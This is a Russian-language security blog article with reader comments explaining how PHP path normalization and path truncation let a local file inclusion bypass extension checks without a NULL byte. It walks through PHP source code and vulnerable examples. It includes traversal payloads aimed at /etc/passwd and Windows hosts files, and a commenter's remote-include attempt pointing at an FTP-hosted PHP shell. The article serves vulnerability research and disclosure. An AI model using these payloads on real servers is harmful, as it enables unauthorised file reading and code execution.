Альтернатива NULL-byte при LFI или новая уязвимость в PHP

Уязвимость в PHP, о которой пойдет речь в данной статье, была обнаружена в декабре 2008 пользователем форума sla.ckers.org под ником barbarianbob. В одном из своих ответов он предложил новый способ реализации локального инклуда, когда атакующий имеет возможность указывать произвольное имя файла, но не способен отбросить расширение при включенной директиве PHP magic_quotes_gpc в виду того факта, что широко используемый в таких целях NULL-byte (0x00) подвергается экранированию и, как следствие, становится неэффективным. Значение подобного способа невозможно переоценить, так как на данный момент почти все LFI-векторы основаны на использовании NULL-байта и, как правило, имеют данное ограничение. До настоящего времени информация оставалась незамеченной, но недавно итальянская команда USH опубликовала уникальный материал, расширяющий понимание новой уязвимости и дополняющий представление о ее причинах и других способах реализации.
Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой:

  1. Нормализация пути
    PHP обрабатывает строку, содержащую путь до файла или папки, особым образом, в частности лишние символы «/» и «/.» удаляются.
  2. Усечение пути
    PHP в зависимости от платформы имеет ограничение на длину пути, определяемой константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.

Нормализация пути

Всем известно, что в PHP имеется большое количество возможностей для быстрого и простого программирования. PHP способен совершать множество необходимых действий самостоятельно, не обременяя разработчика лишними заботами. Такая направленность PHP однако имеет и обратную сторону — возможно именно по причине излишней обработки путей возможна новая уязвимость.
Примеры нормализации пути:

<?php
include('/etc//passwd'); //работает
include('/etc///passwd'); //работает
include('/etc/./passwd'); //работает
include('/etc/passwd/.'); //работает
include('/etc/passwd/./.'); //работает
?>

Нормализация пути может быть использована атакующим для обхода проверки расширения или имени файла в различных ситауциях, например при загрузке файлов или в веб-приложении, реализующем преднамеренный просмотр своего исходного кода. Уязвимость имеет место при неправильно реализованной проверке, которая основывается на принципе черного списка (blacklist), т.е. веб-приложение сверяет данные со списком нежелательных значений. Например:

<?php
$parts = pathinfo($_GET['filename']);
$ext = $parts['extension'];
$blacklist = array('php', 'phtml', 'php3', 'php4', 'php5');
if(in_array($ext, $blacklist)) {
	die('Invalid input');
}
?>

Если в filename передать значение «file.php», то проверка сработает успешно, но если же добавить к этому значению «/.«, то pathinfo() вернет неверный массив, в котором элемент «dirname» будет равен «file.php».
Причина уязвимости кроется в функции virtual_file_ex() (TSRM/tsrm_virtual_cwd.c):

tok=NULL;
ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);
while (ptr) {
	ptr_length = strlen(ptr);
	/* */
	if (IS_DIRECTORY_UP(ptr, ptr_length)) {
		/* */
	} else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {
		/* */
	}
	ptr = tsrm_strtok_r(NULL, TOKENIZER_STRING, &tok);
}

Путь разбивается на части символом, значение которого хранится в TOKENIZER_STRING:

#define TOKENIZER_STRING "/\\" // Win32
#define TOKENIZER_STRING "/\\" // NETWARE
#define TOKENIZER_STRING "/" // other (*nix)

Затем в цикле каждая часть проверяется на соответствие с IS_DIRECTORY_UP и IS_DIRECTORY_CURRENT, значения которых определены так:

#define IS_DIRECTORY_UP(element, len) \
    (len >= 2 && !php_check_dots(element, len))
#define IS_DIRECTORY_CURRENT(element, len) \
    (len == 1 && element[0] == '.')

Таким образом, каждая часть пути, разделенная на TOKENIZER_STRING, анализируется в цикле с помощью нехитрых проверок, при чем ни одна из них не вызывает ошибку, что в конечном счете приводит к уязвимости, так как все нейтральные «./» убираются.
Стоит отметить, что простая последовательность из символов «/», стоящая в конце пути, не приведет к желаемому результату, если используется «чистый» PHP без всяких патчей. Однако PHP с Suhosin patch будет принимать такие значения:

<?php
include('/etc/passwd///');
?>

Все дело в том, что Suhosin patch заменяет функцию realpath(), отсюда возникают расхождения. Патч полностью убирает замыкающие символы «/», в то время как стандартный PHP преобразует все дополнительные символы «/» в один, что сделает имя файла неправильным. Тем не менее, одиночные символы «/.» или их последовательность будут работать на любой установке PHP.

Усечение пути

Вторая особенность, позволяющая говорить о новой уязвимости в PHP, — это автоматическое усечение длины пути подобно тому, как это происходит в MySQL с ограниченными по длине колонками. Благодаря этому, в локальных инклудах NULL-байт может быть заменен на последовательность символов, состоящих из «/», «./», «/.» и других. Например имеется следующий уязвимый скрипт:

<?php
// magic_quotes_gpc=on
include('includes/'.$_GET['act'].'.php');
?>

Это классическая LFI-уязвимость (local file include). В данном примере атакующий может изменять центральную часть аргумента функции include(), поэтому проведение RFI (remote file include) является невозможным, так как для этого необходимо контролировать начало значения для указания протокола передачи данных (http, ftp, data, etc). Для реализации локального инклуда атакующий может внедрить произвольный PHP-код в файловую систему сервера для дальнейшего его выполнения через LFI. При этом очень часто требуется отбросить расширение файла, что обычно достигается путем использования NULL-байта. Как известно, многие функции PHP, в частности ereg(i)_*, include, require, etc не являются бинарно безопасными, т.е. как и в C/C++, NULL-байт будет интерпретироваться как конец строки. Использование NULL-байта затрудняется тем, что включенная директива magic_quotes_gpc, а также применение функции addslashes() экранируют нулевой символ, что существенно сокращает поле его применения.
Пример LFI-вектора с NULL-байтом:
index.php?act=../../../../../etc/passwd%00
После экранирования в include() попадет значение «includes/../../../../../etc/passwd \0.php».
Новый вектор способен предоставить полноценную альтернативу NULL-байту:
index.php?act=../../../../../etc/passwd/////[…]/////
Количество символов «/» отличается на разных платформах, но в большинстве случаев максимальная длина полного пути (т.е. после преобразования относительного в абсолютный путь) равна 4096 байт. Само усечение пути выполняется в main/streams/plain_wrapper.c и main/fopen_wrappers.c неправильным вызовом snprintf():

snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);

Как и в MySQL, PHP без всяких вопросов и предупреждений обрезает строку, длина которой становится равной MAXPATHLEN. Значение MAXPATHLEN определяется так:
/main/php.h:

#ifndef MAXPATHLEN
# ifdef PATH_MAX
# define MAXPATHLEN PATH_MAX
# elif defined(MAX_PATH)
# define MAXPATHLEN MAX_PATH
# else
# define MAXPATHLEN 256
# endif
#endif

/win32/param.h:

#ifndef MAXPATHLEN
# define MAXPATHLEN _MAX_PATH
#endif

Усечение пути в сочетании с нормализацией пути позволяет заменить NULL-байт для установок PHP с включенным magic_quotes_gpc. Последовательность после желаемого пути может состоять из символов «/», «/.», «./»; в win32 этот список гораздо шире: 0x20 (пробел), 0x22 («), 0x2E (.), 0x3c (<), 0x3e (>), 0x5c (\). Следует заметить, что в стандартных сборках PHP для удачной реализации уязвимости последним символом пути должна быть точка. Что касается символа «/», то его нормализация происходит на всех платформах, но в стандартной сборке PHP последовательность из слэшей преобразуется в один, поэтому очень часто его применение может быть невозможно. Однако по утверждениям Стефана Эссера использовать слэш в атаках можно на любых *bsd платформах, даже без Suhosin patch. По собственным наблюдениям могу предположить, что на всех *bsd-серверах длина последовательности составляет 1024 байта, в то время как на linux эта цифра в четыре раза больше. В windows была замечена самая короткая последовательность — не более 270 байт.
Угулублясь в исходный код PHP, становится очевиным, что уязвимость обязана своему существованию такой директиве конфигурации PHP как include_path, которая представляет собой аналог PATH на unix-системах. Всякий раз когда вызывается include() или require() с относительным путем в качестве аргумента, PHP производит попытки чтения файлов, последовательно подставляя папки, разделенных символов «:», из значения директивы. По умолчанию include_path равен «.:», но обычно в это значение добавляется еще несколько путей до различных библиотек, PEAR и прочего. В ходе исследований команды USH выяснилось, что условием удачной атаки является наличие хотя бы одного абсолютного пути в значении include_path.

Итоги

Особенности PHP при обработке путей позволяют выделить новую уязвимость в популярном языке программирования веб-приложений. С помощью нее становится возможным осуществление обхода запрещенных расширений или имен файлов. Кроме того, нормализация пути вкупе с усечением дают новую альтернативу NULL-байту при проведении локальных инклудов. При этом универсальным вектором атаки для *nix является последовательность из символов «/.», а для windows — «.». Условия реализации атаки могут варьироваться в зависимости от конкретного сервера, в частности от платформы и конфигурации PHP. Известными условиями являются:

  • в стандартных сборках PHP последним символом пути должна быть точка
  • include_path должен содержать абсолютный путь
  • вектор атаки для метода GET должен умещаться в пределы максимальной принимаемой веб-сервером длины URL

Для составления векторов рекомендую использовать онлайн-сервис Hackvertor.


26 комментариев

  1. brain[pillow], 22. февраля 2009, 14:53

    /script.php?f_name=../index.php

    Потрясающе, и это работает))
    Стандартная сборка PHP 5.2.6, Win

     
  2. brain[pillow], 22. февраля 2009, 14:56

    Чёрт, блог порезал пхп-код..

    for($i=0; $i!=222; $i++) $_GET[‘f_name’] .= ‘.’;
    include(‘dir/’.addslashes($_GET[‘f_name’]).’.php’);

    /script.php?f_name=../index.php

     
  3. Raz0r, 22. февраля 2009, 17:40

    Есть функция str_repeat() 😉

     
  4. halkfild, 1. марта 2009, 21:57

    наслышаны 🙂
    полезная уязвимость)

     
  5. cr0w, 17. марта 2009, 18:46

    Касательно атаки нормализации пути: в принципе, подобную атаку (обход проверки по «блеклисту») можно проовести не только в PHP (пример тут: http://cr0w-at.blogspot.com/2009/03/path-normalization-attack-not-only-in.html)

     
  6. bet, 23. марта 2009, 13:05

    O_O интересно!!

     
  7. opium, 25. апреля 2009, 6:55

    Спасибо, полезная статья!

     
  8. Веля Солнышкин, 1. мая 2009, 22:49

    Вечер добрый.Я так понял,что на win системах,в частности,со сборкой VertrigoServ,должна сработать последовательность из 270-и точек для использования инклуда,обходя защиту NULL байтом.Вот скрипт:

    
    $c = 0;
    $dir= "../../../../../../../../../../../../../etc/hosts";
    
    for ($i=0;$i<270;$i++) {
    
    $x .= chr(46);
    $c++;
    
    }
    
    echo "Всего слэшей: $c";
    echo"location.href='http://localhost/f/victim.php?file=$dir$x'";
    
    

    Как видно выше — это попытка проинклудить фаил винды — hosts.Но в конце я получаю не только отсутствие положительного результата,но и включение в конец последовательности точек расширения ‘php’,непонятно откуда взявшегося.В общем,есть ли рабочий вариант под винду ? Apache/2.0.63 (Win32) PHP/5.2.6

     
  9. Raz0r, 2. мая 2009, 15:25

    Полагаю, что у тебя нет файла /etc/hosts. Измени $dir на /windows/system32/drivers/etc/hosts

     
  10. В тему ИБ (Trackback), 23. июня 2009, 17:19
     

    SQL Injection & null-byte…

    На прошлой неделе исследовал программный WAF (web application firewall). И в процессе поиска путей обхода……

     
  11. Anonym, 29. ноября 2009, 12:41

    Raz0r, а это твои коментраии к сорцам на C++?

     
  12. Raz0r, 29. ноября 2009, 13:08

    У вас ко мне какие-то претензии? Эти коменты я добавил на основании информации, которую я получил из статьи от USH, чтобы код был более понятным.

     
  13. Anonym, 29. ноября 2009, 13:11

    Не, наоботот рад )) Я просто думал, что ты кроме php/sql больше ничего не занешь ))

     
  14. INVENT, 29. ноября 2009, 14:38

    Anonym, представься — будь так любезен. Покажи нам истинное лицо и имя 31337 haXXoRa, XOR-ящего в уме.

     
  15.  

    […] raz0r.name/articles/null-byte-alternative – подробно об альтернативе нулл-байту. […]

     
  16. K@PM@N, 30. сентября 2011, 21:33

    Спасибо, Любопытная статья, равно как и работа USH

    Возникает вопрос как в таком случае обойти следующую конструкцию:

    $id = "include/" . $_COOKIE["level"] . ".php";
    if (file_exists($id)) {
    	echo 'File Exists !!!!';
        include ($id);
        echo '';
    } 
    else {
        echo 'File does not exists!!!';
    }
    
    

    для disclose локальных файлов вроде бы прозрачно:
    $_COOKIE[«level»] = ‘/../../../../../../../../../../../../etc/passwd%00’;

    для /proc/self — небходимы привилегии для чтения, которые не всегда доступны:

    ls -al /proc/self/environ
    -r——— 1 root root 0 Sep 30 13:29 /proc/self/environ

    А вот как получить RFI для кострукции типа:

    $_COOKIE[«level»] = ‘/../../../../../ftp://192.168.80.1/pub/phpshell.php%00’;

    Вот это вопрос…

     
  17. Raz0r, 30. сентября 2011, 22:49

    К сожалению, здесь RFI невозможен, потому что данные контролируются в середине строки. Как вариант, инклуд ранее залитого кода в картинке / аватаре / etc.

     
  18. K@PM@N, 30. сентября 2011, 23:31

    Видимо этот кусок примера от USH сбил с толку….
    For example:

    ?library=../../../home/www.uploadsite_on_shared_hosting.tld/www/static/attack

    Will evaluate to:

    include(«includes/../../../home/www.uploadsite_on_shared_hosting.tld/ www/static/attack.php»);

    Перечитаю видимо еще раз 🙂

     
  19. Raz0r, 30. сентября 2011, 23:58

    в этом примере имеется в виду, что уязвимость позволяет выполнить код, залитый на другой сайт, находящийся на том же shared-хостинге, что и целевой сайт.

     
  20.  

    […] Я так понимаю эта ошибка началась со статьи некоего Raz0r и обратите внимание даже журнал ][акер повторил эту […]

     
  21. Intelect, 25. января 2012, 4:00

    Новый вектор способен предоставить полноценную альтернативу NULL-байту:
    index.php?act=../../../../../etc/passwd/////[…]/////

    Не верно. Это
    будет работать только на системах с Suhosion. Вчера весь день разбирался что к чему
    Исследование уязвимости PHP include

     
  22. Raz0r, 25. января 2012, 13:07

    @Intelect

    Следует заметить, что в стандартных сборках PHP для удачной реализации уязвимости последним символом пути должна быть точка.

     
  23. Intelect, 25. января 2012, 18:15

    Хм, извините, вчитался в вашу статью подробнее, оказывается вы также описывали этот момент. Но вот весь интернет пестрит ссылками на вас, указывая при этом не совсем правильный вектор атаки =)

     
  24. tch, 10. февраля 2012, 5:39

    точа в пути который указывают или в коде?

     
  25. Raz0r, 10. февраля 2012, 12:35

    которую указывают

     
  26. D00m3dr4v3n, 14. декабря 2012, 15:10

    Очень интересная инфф) спасибо

     

Write a comment: